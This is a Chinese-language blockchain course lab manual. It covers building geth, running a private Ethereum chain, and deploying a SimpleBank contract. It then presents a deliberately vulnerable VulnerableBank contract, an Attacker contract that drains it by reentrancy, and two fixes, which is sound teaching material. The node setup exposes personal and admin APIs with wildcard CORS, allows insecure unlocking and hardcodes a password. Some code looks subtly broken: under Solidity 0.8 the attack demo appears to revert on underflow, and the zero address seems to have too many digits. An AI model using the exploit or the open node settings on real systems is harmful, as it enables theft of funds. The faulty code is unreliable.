新版区块链技术及应用 · Ethereum 实验指导手册

# 进入临时目录
cd /tmp
# 下载 Go 1.18.1（国内可从 https://golang.google.cn/dl/ 获取）
wget https://go.dev/dl/go1.18.1.linux-amd64.tar.gz
# 解压到 /usr/local（会覆盖已有 go 目录）
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.18.1.linux-amd64.tar.gz

# 写入 ~/.bashrc（若使用 zsh 则写 ~/.zshrc）
cat >> ~/.bashrc <<'EOF'
export PATH=$PATH:/usr/local/go/bin:$HOME/go/bin
export GOPATH=$HOME/go
export GO111MODULE=on
EOF
# 立即生效
source ~/.bashrc

go version
# 预期输出：go version go1.18.1 linux/amd64

go env -w GOPROXY=https://goproxy.cn,direct
go env -w GOSUMDB=off
go env GOPROXY   # 确认输出 https://goproxy.cn,direct

# 若已有源码则跳过 clone
git clone https://github.com/ethereum/go-ethereum.git ~/go-ethereum
cd ~/go-ethereum
git checkout v1.10.25
# 编译 geth（结果在 build/bin/geth）
make geth

cat >> ~/.bashrc <<'EOF'
export PATH=$PATH:$HOME/go-ethereum/build/bin
EOF
source ~/.bashrc
which geth   # 应输出 $HOME/go-ethereum/build/bin/geth

mkdir -p ~/ethereum_lab && cd ~/ethereum_lab
nano genesis.json

将以下内容写入 genesis.json：

{
  "config": {
    "chainId": 1108,
    "homesteadBlock": 0,
    "eip150Block": 0,
    "eip155Block": 0,
    "eip158Block": 0,
    "byzantiumBlock": 0,
    "constantinopleBlock": 0,
    "petersburgBlock": 0,
    "istanbulBlock": 0,
    "berlinBlock": 0,
    "londonBlock": 0
  },
  "nonce": "0x0",
  "timestamp": "0x0",
  "extraData": "0x00",
  "gasLimit": "0x8000000",
  "difficulty": "0x1",
  "mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000",
  "coinbase": "0x000000000000000000000000000000000000000000",
  "alloc": {}
}

# data0 为节点0的数据目录
geth --datadir data0 init genesis.json

geth --datadir data0 --networkid 1108 --http \
  --http.corsdomain "*" --http.vhosts "*" \
  --http.api eth,net,web3,personal,admin,miner \
  --allow-insecure-unlock \
  console 2>>geth.log

cd ~/ethereum_lab
geth attach ipc:data0/geth.ipc

// 在 geth 控制台（> 提示符）执行
personal.newAccount("YourPassword123")   // 账户0
personal.newAccount("YourPassword123")   // 账户1
eth.accounts                              // 列出全部账户地址

miner.setEtherbase(eth.accounts[0])
miner.start(1)        // 启动 1 个挖矿线程
// 等待数秒后查看
eth.blockNumber       // 应大于 0，且持续增长
eth.getBalance(eth.accounts[0])

miner.stop()

personal.unlockAccount(eth.accounts[0], "YourPassword123", 30000)
// 返回 true 表示解锁成功，有效期 30000 秒

var tx = eth.sendTransaction({
  from: eth.accounts[0],
  to:   eth.accounts[1],
  value: web3.toWei(10, "ether")
});
console.log(tx);          // 打印交易哈希
miner.start(1);           // 挖矿把交易打包进区块
admin.sleep(3);           // 等待约 3 秒
miner.stop();
eth.getBalance(eth.accounts[1])   // 应约等于 10 ETH

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleBank {
    mapping(address => uint) public balances;
    address public owner;

    event Deposit(address indexed who, uint amount);
    event Withdraw(address indexed who, uint amount);

    constructor() {
        owner = msg.sender;
    }

    // 存款：向合约转入以太币
    function deposit() public payable {
        require(msg.value > 0, "deposit must be positive");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    // 取款：Checks-Effects-Interactions 顺序，先改状态再转账
    function withdraw(uint amount) public {
        require(balances[msg.sender] >= amount, "insufficient balance");
        balances[msg.sender] -= amount;            // 先改状态
        (bool ok, ) = msg.sender.call{value: amount}(""); // 再交互
        require(ok, "transfer failed");
        emit Withdraw(msg.sender, amount);
    }

    function getBalance() public view returns (uint) {
        return balances[msg.sender];
    }
}

1. 打开 https://remix.ethereum.org，进入 Deploy & Run Transactions 标签页。
2. environment 下拉选择 External Http Provider。
3. 弹出框填入 http://127.0.0.1:8545（确保 geth 已按实验二参数启动）。
4. 连接成功后，Account 列表会出现 geth 中的账户（即 eth.accounts）。

1. 在 File Explorer 新建 SimpleBank.sol，粘贴上述代码。
2. 进入 Solidity Compiler，Compiler 版本选 0.8.x，点击 Compile SimpleBank.sol。
3. 出现绿色对勾表示编译通过。

// 在 geth 控制台先解锁并挖矿，确保部署账户有 gas
personal.unlockAccount(eth.accounts[0], "YourPassword123", 30000)
miner.start(1); admin.sleep(2); miner.stop()

3. 回到 Remix 的 Deploy & Run，选中 SimpleBank，点击 Deploy。
4. 在 geth 控制台 miner.start(1); admin.sleep(3); miner.stop() 把部署交易打包。

// 在 Remix 已部署的 SimpleBank 实例中：
// 1) deposit：VALUE 填 1 ether，点击 deposit
// 2) 挖矿确认
miner.start(1); admin.sleep(2); miner.stop();
// 3) 调用 getBalance()（只读，立即返回）
// 也可在 geth 控制台用 ABI 调用：
var abi = [/* 从 Remix Compilation Details - ABI 复制 */];
var addr = "0x部署得到的合约地址";
var bank = eth.contract(abi).at(addr);
bank.getBalance();          // 返回存款额（wei）

// 取合约地址后，在 geth 控制台：
var abi = [/* SimpleBank ABI */];
var bank = eth.contract(abi).at("0x合约地址");
var evt = bank.Deposit({}, {fromBlock:0, toBlock:"latest"});
evt.get(function(err, logs){
  if(!err) console.log(logs);   // 打印所有 Deposit 事件
});

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ⚠️ 故意保留漏洞，仅用于教学复现
contract VulnerableBank {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 漏洞：先转账（触发外部调用），后改状态
    function withdraw(uint amount) public {
        require(balances[msg.sender] >= amount);
        (bool ok, ) = msg.sender.call{value: amount}(""); // 外部调用
        require(ok);
        balances[msg.sender] -= amount;                    // 状态更新滞后
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./VulnerableBank.sol";

contract Attacker {
    VulnerableBank public bank;

    constructor(address _bank) {
        bank = VulnerableBank(_bank);
    }

    // 先存款 1 ether，再一次性取出（触发重入）
    function attack() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    // 回退函数：只要银行还有钱，就继续 withdraw，形成重入
    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }
}

1. 向 VulnerableBank 存入较多测试币（如 10 ETH，用普通账户 deposit）。
2. 部署 Attacker，调用 attack{value:1 ether}。
3. 挖矿确认后，查看 bank.getBalance() 与 attacker 账户余额。

function withdraw(uint amount) public {
    require(balances[msg.sender] >= amount);
    balances[msg.sender] -= amount;            // 先改状态
    (bool ok, ) = msg.sender.call{value: amount}(""); // 再交互
    require(ok);
}

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint) public balances;

    function withdraw(uint amount) public nonReentrant {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok);
    }
}